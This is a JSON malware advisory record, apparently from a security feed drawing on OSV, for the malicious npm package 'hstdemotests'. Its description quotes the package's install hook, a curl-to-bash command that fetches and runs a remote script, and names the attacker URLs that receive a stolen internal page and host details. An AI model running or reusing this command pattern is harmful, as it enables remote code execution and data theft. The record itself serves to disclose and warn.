{"id":"MAL-2026-19949","kind":"package","aliases":["MAL-2026-19949"],"related":[],"title":"Malicious code in hstdemotests (npm)","description":"`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"hstdemotests","note":"all versions","fixed":[],"affected":"","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-11-14T15:13:52+00:00","first_seen_at":"2026-11-16T06:03:36+00:00","triaged_at":"2026-11-16T06:03:41+00:00","updated_at":"2026-11-16T06:12:20+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-19949':8A,11A '-2026':7A,10A '/1.sh':20C '/cnbos.php':74C '/flag.html':43C '/recive.php':56C 'bash':21C 'bundl':58C 'code':2A 'collect':60C 'content':52C 'curl':17C 'demo.js':59C 'everi':32C 'execut':27C 'fetch':37C 'hostnam':63C 'hstdemotest':4A,15C,77C 'hstdemotests':12A 'ifconfig':65C 'index.js':36C 'instal':33C 'intern':39C 'ipconfig':66C 'mal':6A,9A 'malici':1A,13B 'network':48C 'new.www.hardlic.top':19C,55C,73C 'new.www.hardlic.top/1.sh':18C 'new.www.hardlic.top/cnbos.php':72C 'new.www.hardlic.top/recive.php':54C 'npm':5A 'output':67C 'packag':14B 'page':40C 'post':50C,69C 'postinstal':26C 'preinstal':24C 'remot':29C 'requir':35C 'run':16C 'script':30C 'sibl':75C 'tst.woa.com':42C 'tst.woa.com/flag.html':41C 'victim':46C 'whoami':61C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["hstdemotests"],"ptokens":["hstdemotests"],"labels":["critical","malicious","npm","package"],"campaign_type":null,"search_a":"'-19949':8A,11A '-2026':7A,10A 'code':2A 'hstdemotest':4A 'hstdemotests':12A 'mal':6A,9A 'malici':1A 'npm':5A","search_b":"'malici':13B 'packag':14B","search_c":"'/1.sh':20C '/cnbos.php':74C '/flag.html':43C '/recive.php':56C 'bash':21C 'bundl':58C 'collect':60C 'content':52C 'curl':17C 'demo.js':59C 'everi':32C 'execut':27C 'fetch':37C 'hostnam':63C 'hstdemotest':15C,77C 'ifconfig':65C 'index.js':36C 'instal':33C 'intern':39C 'ipconfig':66C 'network':48C 'new.www.hardlic.top':19C,55C,73C 'new.www.hardlic.top/1.sh':18C 'new.www.hardlic.top/cnbos.php':72C 'new.www.hardlic.top/recive.php':54C 'output':67C 'page':40C 'post':50C,69C 'postinstal':26C 'preinstal':24C 'remot':29C 'requir':35C 'run':16C 'script':30C 'sibl':75C 'tst.woa.com':42C 'tst.woa.com/flag.html':41C 'victim':46C 'whoami':61C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-14T15:13:52+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-19949","url":"https://osv.dev/vulnerability/MAL-2026-19949","severity":"critical","published_at":"2026-11-14T15:13:52+00:00","modified_at":"2026-11-16T05:45:05+00:00","first_seen_at":"2026-11-16T06:03:36+00:00","fetched_at":"2026-11-16T06:03:36+00:00","note":null}],"documents":[],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}